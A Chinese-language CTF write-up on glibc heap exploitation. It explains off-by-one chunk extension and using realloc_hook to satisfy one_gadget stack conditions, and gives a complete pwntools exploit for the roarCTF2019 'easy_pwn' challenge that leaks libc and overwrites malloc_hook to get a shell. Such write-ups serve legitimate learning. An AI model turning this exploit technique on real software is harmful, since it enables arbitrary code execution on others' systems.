[pwn]堆:realloc_hook控制棧結構達成onegadget

[pwn]realloc_hook控制棧結構達成onegadget

chunk extend

chunk extend是一種限制比較少的堆利用方式,通常通過off by one或off by null來利用。

chuank extend利用需要的條件是:

  1. 可以進行堆佈局
  2. 可以溢出至少一個字節

chunk extend的原理是,首先申請三個堆塊:
在這裏插入圖片描述
這裏size 0x18是堆塊的大小,1是前一個堆塊佔用位,先通過編輯堆塊A然後通過off by one來溢出到堆塊B的size域,並將其修改爲0x18+0x18+1(其實就是size B+size C,然後前一個堆塊佔用1):
在這裏插入圖片描述
這時釋放堆塊B,由於大小在fastbins中,所以(堆塊C的)下一個堆塊的前一個堆塊使用位不會被置0,再釋放C,arena中對應的bins就會指向B和C,如圖:
在這裏插入圖片描述
這時只要再申請一個0x40的大小的堆塊,就可以將B+C這個“合成”堆塊申請回來,然後就可以操作還在bins中的C堆塊C了,將其指針爲修改爲想要任意寫的地址,如free_got:
在這裏插入圖片描述
然後再申請一個大小爲0x20的堆塊,將C申請回來,這時bins就會指向freegot,接下來再申請空間就會申請到freegot了:
在這裏插入圖片描述
再次申請一個0x20大小的堆塊就會申請到free_got所在的地方,這時就可以修改爲任意的值了,這個例子只是用來舉例,其實利用方法非常靈活,只要將還在鏈表中的堆塊成功包括在我們可控的堆塊之內,有非常多的利用方式,無論是泄露地址或是任意地址寫!這種利用方式是和fastbin attack非常相似的,只不過適用於off by one這種溢出比較苛刻的地方。

通過realloc調整棧幀來滿足onegadget

參考:https://blog.csdn.net/Maxmalloc/article/details/102535427

one-gadget 是glibc裏調用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我們能控制程序執行流的時候,直接執行到onegadget的地址,並且滿足onegadget的條件,便可直接getshell。如:
在這裏插入圖片描述
這個libc-2.23.so中共有四個onegadget,相對應的條件分別是rsp+0x30、rsp+0x30、rsp+0x50、rsp+0x70地址處爲0。

而有的時候我們有任意地址寫的漏洞的時候,比如將malloc_hook寫成onegadget,但無法滿足onegadget的條件可以使用realloc來微調棧幀。

realloc函數的邏輯和malloc、free等一樣,都是先查看realloc_hook是否爲null,不爲null的話便調用realloc_hook。但不同的是realloc的彙編代碼,在調用realloc_hook之前比malloc、free等多了好多push指令和sub擡棧操作:
在這裏插入圖片描述
我們可以將realloc_hook改爲onegadget,然後通過這些push和sub操作"微調"rsp寄存器,使其能夠滿足在調用realloc_hook(也就是onegadget)的時候滿足相應的rsp條件。相應的利用方法就是由傳統的直接修改malloc_hook變爲先修改realloc_hook爲onegadget之後,修改malloc_hook到特定的一個push處或sub處,然後調用malloc便相當於執行了滿足條件的onegadget。

接下來通過嘶吼的roarCTF2019的easy_pwn題目來講解一下:

easy_pwn wp

首先查看下安全策略:
在這裏插入圖片描述
發現全開,那麼我們無法使用漏洞來修改got表。接下來分析一下程序邏輯:
在這裏插入圖片描述
和傳統的堆題目很想,申請、修改、刪除和顯示。IDA中查看反彙編代碼:
在這裏插入圖片描述
唯一有問題的地方在writeNote中:
在這裏插入圖片描述
當讀入的長度比申請的長度正好大10的時候,程序允許我們多寫入一個字節!也就是可以溢出一個字節,正好到下一個堆塊的大小位和佔用位:
在這裏插入圖片描述
只有這一個off by one漏洞可以利用,接下來就是思考利用思路。

  1. 首先,要想辦法泄露地址
  2. 通過chunk extend來任意地址寫利用

泄露地址的方式有很多種,這裏選擇最簡單的一種,泄露unsortbins的地址,首先申請四個堆塊,大小分別是0:0x18,1:0x18,2:0x88,3:0x18,之後通過對chunk0進行off by one,溢出到1的size位位0xb1,也就是size1+size2的大小(0x20+0x90)。
在這裏插入圖片描述
這裏申請的是0x18,實際分配是0x21,2申請的比較大是爲了合併之後分解的時候不被放入fastbins而是放入unsortbins。這裏堆塊3的作用是和topchunk隔離,不讓分解後直接和topchunk合併。

這時釋放chunk1,unsortbins就會指向chunk1(連帶着chunk2的大小),size是0xb0,而chunk1的fd和bk兩個雙向鏈表指針也會指向libc中的unsortbins處(因爲雙向鏈表中只有一個元素):
在這裏插入圖片描述
然後再申請一個0x18大小的堆塊(也就是溢出之前的大小),這時就會在unsortbins中的這個唯一元素中分割一個0x18大小的堆塊出去,剩下的繼續連在unsortbins中,就是下面這樣:
在這裏插入圖片描述
這時原本的chunk2中的內容就是指向unsortbins的指針,而chunk2一直沒有被釋放,我們可以通過show來輸出指針的內容,就成功得到libc的一個地址了,代碼流程是:

create(0x18) #0
create(0x18) #1
create(0x88) #2
create(0x18) #3
write(0,0x18+10,'a'*0x18+'\xb1')
free(1)
create(0x18) #1
show(2)
p.recvuntil("content: ")
leak = u64(p.recvline()[:8])
print "leak-> " + hex(leak)

在這裏插入圖片描述
通過泄露的地址減掉libc的起始地址就可以計算出這裏的偏移了。

libc_base = leak - (0x7efce8fa1b78 - 0x7efce8c06000)

接下來是思考如何利用。由於有chunk extend這個利用方法,需要考慮的只是如何執行任意指令,也就是在改寫哪個地址。首先由於開啓了Full RELRO,got表是無法修改了。那麼我們只能修改libc中的各種hook。

我們採用之前介紹過的realloc控制棧幀滿足onegadget條件然後執行onegadget來利用。整個利用思路是:

  1. 通過chunk extend來滿足fastbin attack+malloc_hook攻擊的條件
  2. 修改malloc_hook爲realloc控制棧幀的地址
  3. 修改realloc_hook爲onegadget
  4. 通過申請新chunk直接getshell(申請新塊會執行malloc_hook調到realloc,然後控制棧幀滿足了onegadget條件之後會執行realloc_hook也就是onegadget,getshell)

和fastbin attack類似,通過修改fastbin鏈表指針的方式,在libc-2.23中,有下面一個檢測需要繞過:

  • 檢測鏈表中的freechunk的大小是否在該fastbin鏈的大小尺寸範圍內

需要注意的是,malloc_hook和realloc_hook是連着的,也就是說只要找出malloc_hook前後一個滿足這個條件的就可以同時修改這兩個:

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-gtmYKvwc-1577800610838)(easy_pwn_wp.assets/1575813619126.png)]

根據常識,malloc_hook-0x23是一個“固定用法”,爲什麼這麼說呢:
在這裏插入圖片描述
可以看見,malloc_hook-0x23的size域爲0x7f正好在0x70-0x80之間,屬於fastbin中0x70的範圍。那麼利用思路就是:

  • 先申請一個0x88的堆塊(堆塊4)將剛剛地址泄露的剩下的一個空閒堆塊申請回來,補齊堆空間,能讓接下來申請的堆塊從topchunk開始分配。然後堆塊結構是下面這樣,2和4實際指向的是同一個堆塊。
    在這裏插入圖片描述
  • 申請三個堆塊分別是0x18(實際0x20,以下同理),0x68,0x18(堆塊567),堆塊7是和topchunk隔離用
  • 堆塊3和堆塊5是相鄰的,通過溢出3,將5的size改爲0x91(size5+size6)
  • 釋放6,fastbin的0x70freechunk鏈表指向6
  • 釋放5(其實是釋放了一個0x90的堆塊),再申請一個0x88(也就是0x90)的堆塊將5申請了回來
  • 這時通過操作5就可以修改已釋放的堆塊6的指針域了,將其修改爲malloc_hook-0x23,注意不要破壞size域
    在這裏插入圖片描述
  • 然後申請一個0x68的堆塊(實際0x70),將6申請回來,這時fastbin的0x70freechunk鏈表指向malloc_hook-0x23
    在這裏插入圖片描述
  • 在申請一個0x68的堆塊,這時申請到的就是malloc_hook-0x23了,可以修改realloc_hook和malloc_hook了。
  • 通過調試確定地址,下斷點再realloc,查看棧幀(圖是調試版本libc所用,最後exp所用libc地址不同),可見rsp+0x30的位置不爲0,但rsp+0x10的位置爲0,需要sub 0x18和push一次。
    在這裏插入圖片描述
    在這裏插入圖片描述
  • 修改realloc_hook爲onegadget,修改malloc_hook爲realloc+偏移地址
    在這裏插入圖片描述
  • 再申請一個任意大小堆塊,完成利用。

exp如下:

from pwn import *
import struct

context(arch='amd64', os='linux')
context.terminal=['tmux','splitw','-h']
p = process(["./ld.so.2","./easy_pwn"],env={"LD_PRELOAD":"./libc.so.6"})
#gdb.attach(p)
libc = ELF("./libc.so.6")

def create(size):
	p.sendlineafter("choice: ", str(1))
	p.sendlineafter("size: ", str(size))

def write(index, size, content):
	p.sendlineafter("choice: ", str(2))
	p.sendlineafter("index: ", str(index))
	p.sendlineafter("size: ", str(size))
	p.sendlineafter("content: ", content)

def free(index):
	p.sendlineafter("choice: ", str(3))
	p.sendlineafter("index: ", str(index))

def show(index):
	p.sendlineafter("choice: ", str(4))
	p.sendlineafter("index: ", str(index))

create(0x18) #0
create(0x18) #1
create(0x88) #2
create(0x18) #3
write(0,0x18+10,'a'*0x18+'\xb1')
free(1)
create(0x18) #1
show(2)

p.recvuntil("content: ")
leak = u64(p.recvline()[:8])
print "leak-> " + hex(leak)
libc_base = leak - (0x7fdba0043b78 - 0x7fdb9fc7f000)
print "libc_base-> " + hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)
#realloc = libc_base + libc.symbols['__libc_realloc']
realloc=libc_base+0x846CD
print "realloc-> " + hex(realloc)
#rsp+0x50=0
one_gadget=libc_base+0xf02a4

create(0x88) #4
create(0x18) #5
create(0x68) #6
create(0x18) #7
write(3,0x18+10,'a'*0x18+'\x91')
free(6)
free(5)
create(0x88) #5
write(5,0x28,'a'*0x18+p64(0x71)+p64(malloc_hook-0x23))
create(0x68) #6
create(0x68) #8
write(8,0x1b,'a'*0xb+p64(one_gadget)+p64(realloc))
raw_input()
create(0x18)
p.interactive()

成功:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章